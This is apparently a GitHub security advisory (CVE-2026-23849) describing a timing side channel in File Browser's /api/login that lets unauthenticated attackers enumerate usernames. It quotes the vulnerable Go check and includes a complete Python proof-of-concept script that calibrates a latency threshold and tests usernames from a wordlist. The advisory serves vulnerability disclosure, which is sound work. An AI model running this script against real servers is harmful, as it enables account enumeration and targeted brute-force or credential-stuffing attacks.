Skip to content

File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login

Moderate severity GitHub Reviewed Published Jan 18, 2026 in filebrowser/filebrowser • Updated Jan 21, 2026

Package

gomod github.com/filebrowser/filebrowser (Go)

Affected versions

<= 1.11.0

Patched versions

None
gomod github.com/filebrowser/filebrowser/v2 (Go)
< 2.55.0
2.55.0

Description

Summary

The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.

Details

The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.

This difference in execution path creates a measurable timing discrepancy:

Invalid User: ~1ms execution (Database lookup only).
Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).

In auth/json.go:

// auth/json.go line 54
u, err := usr.Get(srv.Root, cred.Username)
// VULNERABILITY:
// If 'err != nil' (User not found), the OR condition short-circuits.
// The second part (!users.CheckPwd) is NEVER executed.
//
// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).
if err != nil || !users.CheckPwd(cred.Password, u.Password) {
    return nil, os.ErrPermission
}

PoC

The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.

import requests
import time
import random
import string
import statistics
import argparse

CALIBRATION_SAMPLES = 20
ENDPOINT = "/api/login"

def generate_random_user(length=10):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def measure_response_time(url, username):
    start = time.perf_counter()
    try:
        requests.post(url, json={"username": username, "password": "dummy_pass_123!"})
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return 0
    return time.perf_counter() - start

def calibrate(url):
    print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...")
    times = []
    
    print("    Progress: ", end="", flush=True)
    for _ in range(CALIBRATION_SAMPLES):
        random_user = generate_random_user()
        elapsed = measure_response_time(url, random_user)
        times.append(elapsed)
        print(".", end="", flush=True)
    print(" OK")
    
    mean = statistics.mean(times)
    try:
        stdev = statistics.stdev(times)
    except:
        stdev = 0.0
    
    threshold = mean + (5 * stdev) + 0.005
    
    print(f"    - Mean time (invalid users): {mean:.4f}s")
    print(f"    - Standard deviation: {stdev:.6f}s")
    print(f"    - Threshold set: {threshold:.4f}s")
    
    return threshold

def load_wordlist(wordlist_path):
    try:
        with open(wordlist_path, 'r', encoding='utf-8') as f:
            users = [line.strip() for line in f if line.strip()]
        return users
    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        exit(1)
    except Exception as e:
        print(f"[!] Error reading wordlist: {e}")
        exit(1)

def timing_attack(url, threshold, users):
    print(f"\n[*] Testing {len(users)} users from wordlist...")
    print("-" * 50)
    print(f"{'Username':<15} | {'Time':<10} | {'Status'}")
    print("-" * 50)
    
    found = []
    
    for user in users:
        elapsed = measure_response_time(url, user)
        
        if elapsed > threshold:
            status = ">> VALID <<"
            found.append(user)
        else:
            status = "invalid"
            
        print(f"{user:<15} | {elapsed:.4f}s | {status}")
        
    return found

def main():
    parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')
    parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')
    args = parser.parse_args()
    
    target_url = args.url.rstrip('/') + ENDPOINT
    
    print("=== FILEBROWSER TIMING ATTACK ===\n")
    print(f"[*] Target: {target_url}")
    print(f"[*] Wordlist: {args.wordlist}")
    
    try:
        threshold = calibrate(target_url)
        users = load_wordlist(args.wordlist)
        print(f"\n[*] Loaded {len(users)} users from wordlist")
        print("[*] Starting attack...")
        
        valid_users = timing_attack(target_url, threshold, users)
        
        print("\n" + "="*50)
        print(f"SUMMARY: {len(valid_users)} valid users found")
        if valid_users:
            for u in valid_users:
                print(f"  -> {u}")
        print("="*50)
        
    except KeyboardInterrupt:
        print("\n[!] Attack cancelled")

if __name__ == "__main__":
    main()

For example, in this case, I have guchihacker as the only valid user in the application.
image

I am going to use the exploit to list valid users.
image
As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.

Impact

An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).

I remain at your disposal for any questions you may have on this matter. Thank you very much.

Sincerely, Felix Sanchez (GUCHI)

References

@hacdias hacdias published to filebrowser/filebrowser Jan 18, 2026
Published by the National Vulnerability Database Jan 19, 2026
Published to the GitHub Advisory Database Jan 21, 2026
Reviewed Jan 21, 2026
Last updated Jan 21, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(26th percentile)

Weaknesses

Observable Timing Discrepancy

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not. Learn more on MITRE.

CVE ID

CVE-2026-23849

GHSA ID

GHSA-43mm-m3h2-3prc

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.